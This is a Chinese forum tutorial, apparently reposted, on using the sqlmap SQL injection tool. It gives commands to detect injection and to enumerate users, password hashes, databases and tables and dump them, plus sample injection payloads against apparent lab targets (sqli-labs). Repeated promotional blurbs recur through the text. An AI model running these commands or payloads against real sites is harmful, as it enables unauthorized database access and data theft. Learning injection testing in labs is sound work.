[工具使用] SQL注入工具之SQLmap入门操作_sqlmap get注入

126 0
Honkers 3 小时前 来自手机 | 显示全部楼层 |阅读模式


网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以戳这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

了解SQLmap

基础操作

SQLmap是一款自动化的SQL注入工具,可以用于检测和利用SQL注入漏洞。

以下是SQLmap的入门操作步骤:

  • 1.下载SQLmap:可以从官方网站(https://sqlmap.org/)下载最新版本的SQLmap。
  • 2.打开终端:在终端中进入SQLmap所在的目录。
  • 3.输入命令:使用以下命令运行SQLmap:
  1. python sqlmap.py -u <目标URL>
复制代码

其中,<;目标URL>;是指要测试的网站的URL地址。

  • 1.运行测试:SQLmap会自动检测目标网站是否存在SQL注入漏洞,并给出测试结果。
  • 2.利用漏洞:如果SQLmap检测到目标网站存在SQL注入漏洞,可以使用以下命令利用漏洞:
  1. python sqlmap.py -u <目标URL> --dbs
复制代码

这个命令将会列出目标网站的所有数据库。

  • 1.获取数据:可以使用以下命令获取数据库中的数据:
  1. python sqlmap.py -u <目标URL> -D <数据库名> -T <表名> --dump
复制代码

其中,<;数据库名>;和<;表名>;是指要获取数据的数据库和表的名称。

功能

虽然没有官方的图形化界面,但是市面上有很多个人做的图形化插件,如果实在不熟悉命令行可以考虑换成图形化插件进行使用。

SQLMap是一个自动化的SQL注入工具,其主要功能包括

  1. 扫描、发现并利用给定URL的SQL注入漏洞。
  2. 内置了很多绕过插件,支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB。
  3. 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。
  4. 支持HTTP代理,可以在使用代理时进行注入测试。
  5. 支持多线程,可以同时测试多个注入点。
  6. 支持自定义HTTP头和Cookie。
  7. 支持自定义注入语句。
  8. 支持自定义注入深度和注入等级。
  9. 支持自定义报告输出格式。
  10. 提供waf、ips、ids检查和绕开,采用代理实现隐藏注入
  11. 可以导出数据库表和列,自动识别破jie哈希口令
  12. 支持脱库

使用SQLmap

软件安装

在kali Linux和Windows环境中都有,kali是自带SQLmap的

基础操作

SQLmap --v  //显示版本信息

SQLmap -h  //帮助

SQLmap -hh  //详细帮助

-level=LEVEL  //水平1-5,也不是数字越高越精准,但也不是越高越好。越高数据包发送量就越大,被发现的可能也就越大。如果怕把甲方业务搞挂了,也不要开的太大。

–risk=RISK  //风险1-3,也不是数字越高越精准,但也不是越高越好。越高数据包发送量就越大,被发现的可能也就越大。如果怕把甲方业务搞挂了,也不要开的太大。

默认扫完后会把信息存储在more /root/.sqlmap/output/192.168.199.153/log  这个目录下,这是一个隐藏文件夹

GET注入原理

SQLmap是一款自动化SQL注入工具,可以用于检测和利用Web应用程序中的SQL注入漏洞。

它可以通过GET或POST请求向Web应用程序发送恶意请求,以检测是否存在SQL注入漏洞。

以下是SQLmap进行GET注入的原理:

  1. SQLmap会向目标URL发送一个GET请求,同时在URL中注入恶意代码。
  2. 目标服务器接收到请求后,将恶意代码传递给后端数据库。如果目标应用程序存在SQL注入漏洞,则数据库会执行恶意代码,并将结果返回给应用程序。
  3. SQLmap会分析返回的结果,以确定是否存在SQL注入漏洞。

以下是一个使用SQLmap进行GET注入的示例命令:

  1. sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1" --technique=E --answers="extending=N" --batch
复制代码

初级扫描方案

探测是否存在sql注入漏洞

对于不用登录的网站,直接指定其URL

  1. sqlmap -u "http://xxx/Less-1/?id=1"
复制代码

直接扫到数据库类型为mysql数据库(输入y继续):

  1. it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
复制代码

我们也可以使用一个参数–batch,这个参数可以省去SQLmap询问,直接选择默认项,例如上面的扫描语句可以写成:

  1. sqlmap -u "http://xxx/Less-1/?id=1" --batch
复制代码

扫描出id部分存在boolean盲注:

  1. GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
  2. GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
复制代码

扫描完成后,sqlmap给出了一些验证漏洞的payload信息:

  1. Parameter: id (GET)
  2. Type: boolean-based blind
  3. Title: AND boolean-based blind - WHERE or HAVING clause
  4. Payload: id=1' AND 5728=5728 AND 'IxVn'='IxVn
  5. Type: error-based
  6. Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
  7. Payload: id=1' AND GTID_SUBSET(CONCAT(0x716a6b7171,(SELECT (ELT(8185=8185,1))),0x716b7a6a71),8185) AND 'QMiy'='QMiy
  8. Type: time-based blind
  9. Title: MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)
  10. Payload: id=1' OR SLEEP(5)#
  11. Type: UNION query
  12. Title: Generic UNION query (NULL) - 3 columns
  13. Payload: id=-4446' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7171,0x697148456f7242714a57456c4c6541624b4a57775163786775634c564b72556b78505a5457584d70,0x716b7a6a71)-- -
复制代码

扫描结果:

  1. [06:28:00] [INFO] the back-end DBMS is MySQLweb application technology: Nginxback-end DBMS: MySQL >= 5.6
复制代码

对于需要登录的网站,我们需要指定其cookie

我们可以用账号密码登录,然后用bp抓取其cookie填入

  1. sqlmap -u "http://xxx/sqli/Less-1/?id=1" --cookie="抓取的cookie"
复制代码

对于是post提交数据的URL,我们需要指定其data参数

  1. sqlmap -u "http://xxx/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit"
复制代码

更便捷的做法:通过抓取http数据包保存为文件

这样,我们就不用指定其他参数,这对于需要登录的网站或者post提交数据的网站很方便

如下,我们保存网站的访问数据包为data.txt文件:

  1. sqlmap -r data.txt -p id
复制代码

可以看到,我的网站存在防CSRF公鸡,SQLmap注入失败

查看数据库信息

查看数据库的所有用户:

  1. sqlmap -u "http://xxx/Less-1/?id=1" --users
复制代码

查看数据库所有用户名的密码

  1. sqlmap -u "http://xxx/Less-1/?id=1" --passwords
复制代码

查看数据库当前用户

  1. sqlmap -u "http://xxx/Less-1/?id=1" --current-user
复制代码

扫到当前用户信息:

current user: 'sqlilabs@localhost!'

判断当前用户是否有管理权限:

  1. sqlmap -u "http://xxx/Less-1/?id=1" --is-dba
复制代码

当前用户是不是root用户:

current user is DBA: False

列出数据库管理员角色:

  1. sqlmap -u "http://xxx/sqli/Less-1/?id=1" --roles
复制代码

查看所有的数据库:

  1. sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dbs
复制代码

查看当前的数据库:

  1. sqlmap -u "http://xxx/sqli/Less-1/?id=1" --current-db
复制代码

得到当前数据库信息:


网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以戳这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

current-db

  1. 得到当前数据库信息:
  2. [外链图片转存中...(img-GxotEmOl-1715878466493)]
  3. [外链图片转存中...(img-SBUJaAL1-1715878466494)]
  4. **网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
  5. **[需要这份系统化的资料的朋友,可以戳这里获取](https://bbs.csdn.net/topics/618631832)**
  6. **一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
复制代码

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Honkers

荣誉红客

关注
  • 5157
    主题
  • 36
    粉丝
  • 0
    关注
这家伙很懒,什么都没留下!

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行